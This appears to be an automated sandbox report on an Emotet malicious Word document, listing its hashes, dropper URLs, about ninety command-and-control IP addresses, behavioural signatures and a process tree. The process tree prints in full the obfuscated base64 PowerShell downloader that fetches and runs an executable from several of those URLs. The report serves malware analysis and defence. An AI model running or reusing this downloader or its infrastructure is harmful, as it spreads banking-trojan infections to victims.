emotet | dddf982c340b4d5e90b36b696bb8ec93deef12d4d196c18792725d66291c67c0

Analysis

max time kernel
140s
max time network
154s
platform
windows10_x64
resource
win10
submitted
14/09/2020, 10:40

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General

Target
emotet_e2_dddf982c340b4d5e90b36b696bb8ec93deef12d4d196c18792725d66291c67c0_2020-09-14__103913._doc.doc
Size 162KB
Sample200914-8krn2ecggj
SHA256 dddf982c340b4d5e90b36b696bb8ec93deef12d4d196c18792725d66291c67c0
MD5 d949b99389d32979cec818d5a04e7ad2
SHA1 f4460ffc34e40fe5a0886808f593d1928a9b088f
SHA512 286c5ef15df9081794244694f5397cc17e66102f423d5ba264dfec81620f7ce964f26628ff3d1d842e89083e400ae2e41cb0131f37c3b30c90dd71cc9993417e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://personalizzabili.com/images/lvyX7QK/
exe.dropper
http://www.bismarjeparamebel.com/u/qkhyf/
exe.dropper
http://agenciatabletshouse.com.br/erros/1PM/
exe.dropper
http://desk4succes.nl/stats/cNFjYB/
exe.dropper
http://westerndata.com.au/wp-includes/3jp/
exe.dropper
http://graphicom.it/cgi-bin/HsPkL/
exe.dropper
http://oneinsix.com/test/1F4c/

Extracted

Family

emotet

50.91.114.38:80
120.138.30.150:8080
139.59.67.118:443
94.23.216.33:80
107.5.122.110:80
95.213.236.64:8080
84.39.182.7:80
47.144.21.12:443
200.114.213.233:8080
176.111.60.55:8080
70.180.43.7:80
121.124.124.40:7080
113.160.130.116:8443
103.86.49.11:8080
85.105.205.77:8080
174.102.48.180:443
37.187.72.193:8080
189.212.199.126:443
85.152.162.105:80
104.236.246.93:8080
5.39.91.110:7080
24.137.76.62:80
70.121.172.89:80
24.43.99.75:80
139.99.158.11:443
203.153.216.189:7080
89.205.113.80:80
79.98.24.39:8080
82.80.155.43:80
201.173.217.124:443
75.139.38.211:80
173.62.217.22:443
120.150.60.189:80
61.19.246.238:443
174.45.13.118:80
68.188.112.97:80
74.120.55.163:80
62.30.7.67:443
97.82.79.83:80
162.241.242.173:8080
219.74.18.66:443
99.224.14.125:80
46.105.131.79:8080
137.119.36.33:80
203.117.253.142:80
83.169.36.251:8080
187.161.206.24:80
94.200.114.161:80
139.130.242.43:80
74.208.45.104:8080
137.59.187.107:8080
185.94.252.104:443
94.23.237.171:443
87.106.136.232:8080
172.91.208.86:80
216.208.76.186:80
79.137.83.50:443
168.235.67.138:7080
91.211.88.52:7080
109.74.5.95:8080
85.214.28.226:8080
104.131.44.150:8080
139.162.108.71:8080
104.131.11.150:443
209.141.54.221:8080
67.205.85.243:8080
62.75.141.82:80
24.179.13.119:80
190.160.53.126:80
194.187.133.160:443
188.219.31.12:80
93.147.212.206:80
37.139.21.175:8080
169.239.182.217:8080
112.185.64.233:80
153.232.188.106:80
110.145.77.103:80
1.221.254.82:80
95.179.229.244:8080
87.106.139.101:8080
192.158.216.73:80
139.59.60.244:8080
200.41.121.90:80
85.66.181.138:80
78.24.219.147:8080
5.196.74.210:8080
157.245.99.39:8080
190.55.181.54:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3800	1508	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
25	3800	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3600	It3o0t4d.exe
2856	ctfmon.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\International\Geo\Nation	WINWORD.EXE

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adba-11.dat	js
behavioral2/files/0x000100000001adba-12.dat	js
behavioral2/files/0x000100000001adba-16.dat	js

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\iasads\ctfmon.exe	It3o0t4d.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3004	WINWORD.EXE
3004	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3800	powershell.exe
3800	powershell.exe
3800	powershell.exe
2856	ctfmon.exe
2856	ctfmon.exe
2856	ctfmon.exe
2856	ctfmon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3004	WINWORD.EXE
3600	It3o0t4d.exe
2856	ctfmon.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 3600	3800	powershell.exe	81
PID 3800 wrote to memory of 3600	3800	powershell.exe	81
PID 3800 wrote to memory of 3600	3800	powershell.exe	81
PID 3600 wrote to memory of 2856	3600	It3o0t4d.exe	82
PID 3600 wrote to memory of 2856	3600	It3o0t4d.exe	82
PID 3600 wrote to memory of 2856	3600	It3o0t4d.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_dddf982c340b4d5e90b36b696bb8ec93deef12d4d196c18792725d66291c67c0_2020-09-14__103913._doc.doc" /o ""
1⤵
- Checks computer location settings
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABGAHIAZQB0AHoANQB5AD0AKAAoACcARAAnACsAJwBrAGIAJwApACsAKAAnAGMAJwArACcANgAzACcAKQArACcAcgAnACkAOwAuACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBlAFIAcABSAG8AZgBpAGwAZQBcAFIAMABVAGwAcgByAHcAXABBAGUANQBMAEUAeQA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAGUAQwBUAG8AcgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAFIAYABJAGAAVABZAGAAcAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAnADIALAAnACsAKAAnACAAdAAnACsAJwBsAHMAMQAxACwAJwArACcAIAB0ACcAKQArACcAbAAnACsAJwBzACcAKQA7ACQARwBkADUANQBpAGMAZgAgAD0AIAAoACgAJwBJACcAKwAnAHQAMwBvADAAJwApACsAJwB0ADQAJwArACcAZAAnACkAOwAkAFcAaQA5AHkANQBvAHYAPQAoACgAJwBTACcAKwAnAHcAMgAwAHgAJwApACsAJwBwADUAJwApADsAJABPAGQAbQBqAGMAcgBlAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcARQA2ACcAKwAnAEsAUgAwACcAKQArACgAJwB1AGwAcgByACcAKwAnAHcAJwApACsAKAAnAEUAJwArACcANgBLACcAKwAnAEEAZQA1ACcAKwAnAGwAZQB5ADUAJwApACsAJwBFACcAKwAnADYASwAnACkALgAiAHIAYABFAFAATABBAGAAYwBlACIAKAAoAFsAYwBoAEEAUgBdADYAOQArAFsAYwBoAEEAUgBdADUANAArAFsAYwBoAEEAUgBdADcANQApACwAJwBcACcAKQApACsAJABHAGQANQA1AGkAYwBmACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRAGgAZwBwAHUAeABqAD0AKAAnAEgAJwArACgAJwBfAHYAOAAnACsAJwBwAGcAJwApACsAJwAxACcAKQA7ACQAUABjADIAegB3AGEAYwA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgB3AEUAYgBjAGwAaQBFAE4AVAA7ACQASgBpADQAawBnAHkAdwA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBwAGUAcgAnACsAJwBzACcAKQArACcAbwAnACsAKAAnAG4AYQBsACcAKwAnAGkAJwArACcAegB6AGEAYgAnACkAKwAnAGkAJwArACgAJwBsAGkALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBpAG0AYQBnACcAKQArACgAJwBlAHMAJwArACcALwBsACcAKQArACgAJwB2AHkAWAAnACsAJwA3AFEASwAnACkAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGIAaQAnACsAJwBzAG0AYQByAGoAJwArACcAZQAnACkAKwAoACcAcAAnACsAJwBhAHIAYQAnACkAKwAoACcAbQBlAGIAZQBsAC4AJwArACcAYwBvAG0AJwArACcALwB1AC8AcQAnACsAJwBrAGgAJwApACsAKAAnAHkAJwArACcAZgAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AYQBnAGUAJwArACcAbgAnACsAJwBjAGkAYQB0AGEAJwArACcAYgBsACcAKQArACgAJwBlAHQAcwAnACsAJwBoAG8AdQBzAGUALgBjAG8AJwArACcAbQAnACsAJwAuAGIAcgAvAGUAcgByAG8AcwAnACsAJwAvADEAUABNACcAKQArACgAJwAvACoAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AZAAnACsAJwBlACcAKQArACcAcwBrACcAKwAnADQAJwArACcAcwAnACsAKAAnAHUAYwAnACsAJwBjAGUAcwAuAG4AbAAvAHMAJwArACcAdAAnACsAJwBhAHQAJwApACsAKAAnAHMALwBjAE4AJwArACcARgBqAFkAQgAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAdwBlACcAKwAnAHMAJwApACsAJwB0ACcAKwAnAGUAcgAnACsAJwBuACcAKwAoACcAZAAnACsAJwBhAHQAJwApACsAJwBhACcAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKwAnAGEAdQAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpACcAKQArACgAJwBuAGMAbAB1AGQAZQAnACsAJwBzACcAKwAnAC8AMwAnACkAKwAnAGoAcAAnACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8AJwArACcALwBnACcAKwAnAHIAYQBwAGgAaQBjAG8AJwArACcAbQAuAGkAJwApACsAJwB0AC8AJwArACgAJwBjAGcAaQAnACsAJwAtAGIAJwArACcAaQAnACkAKwAoACcAbgAvACcAKwAnAEgAcwBQACcAKQArACcAawAnACsAKAAnAEwAJwArACcALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvAC8AbwAnACsAJwBuAGUAaQAnACkAKwAoACcAbgBzACcAKwAnAGkAJwApACsAKAAnAHgALgBjAG8AbQAnACsAJwAvAHQAZQBzAHQALwAnACsAJwAxAEYAJwArACcANABjAC8AJwApACkALgAiAHMAUABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBiADUAdgAxAGkAbAA9ACgAJwBNACcAKwAoACcANABlAGcAJwArACcAMQB2AHoAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQAHEAeABwAG4AcwA1ACAAaQBuACAAJABKAGkANABrAGcAeQB3ACkAewB0AHIAeQB7ACQAUABjADIAegB3AGEAYwAuACIAZABPAFcAYABOAGwAbwBhAGAAZABmAGkAbABFACIAKAAkAFAAcQB4AHAAbgBzADUALAAgACQATwBkAG0AagBjAHIAZQApADsAJABZAGMAbABsAHcAegA5AD0AKAAnAFoAawAnACsAJwBvADUAJwArACgAJwA0AHoAJwArACcANgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABPAGQAbQBqAGMAcgBlACkALgAiAEwARQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwAwADgANQA4ACkAIAB7ACYAKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAE8AZABtAGoAYwByAGUAKQA7ACQAQgAwAHYAdgBqAHcAcAA9ACgAKAAnAEgAMAAyAHMAJwArACcAZAAnACkAKwAnADkAMQAnACkAOwBiAHIAZQBhAGsAOwAkAE0AMABtADYAbwBkAGwAPQAoACcAUAB3ACcAKwAoACcAcAA2AHIAZAAnACsAJwA0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAGoAeQB3AGUAdAB6AD0AKAAnAFgAcAAnACsAJwBtADIAJwArACgAJwBnACcAKwAnADEAOAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Users\Admin\R0ulrrw\Ae5ley5\It3o0t4d.exe
  "C:\Users\Admin\R0ulrrw\Ae5ley5\It3o0t4d.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3600
- - C:\Windows\SysWOW64\iasads\ctfmon.exe
    "C:\Windows\SysWOW64\iasads\ctfmon.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2856

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2856-18-0x0000000002040000-0x0000000002050000-memory.dmp

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memory/2856-17-0x0000000000510000-0x0000000000522000-memory.dmp

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memory/3004-4-0x000001A409C89000-0x000001A409C8E000-memory.dmp

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memory/3004-6-0x000001A409C89000-0x000001A409C8E000-memory.dmp

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memory/3004-5-0x000001A409C84000-0x000001A409C89000-memory.dmp

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memory/3004-0-0x00007FFECD980000-0x00007FFECE046000-memory.dmp

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memory/3004-3-0x000001A4090BD000-0x000001A4090C2000-memory.dmp

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memory/3004-2-0x000001A409AA3000-0x000001A409AA8000-memory.dmp

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memory/3004-1-0x000001A409AA3000-0x000001A409AA8000-memory.dmp

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memory/3600-13-0x0000000000730000-0x0000000000742000-memory.dmp

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memory/3600-14-0x0000000002280000-0x0000000002290000-memory.dmp

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memory/3800-7-0x00007FFEC63C0000-0x00007FFEC6DAC000-memory.dmp

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memory/3800-8-0x000001818D630000-0x000001818D631000-memory.dmp

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memory/3800-9-0x00000181A5970000-0x00000181A5971000-memory.dmp

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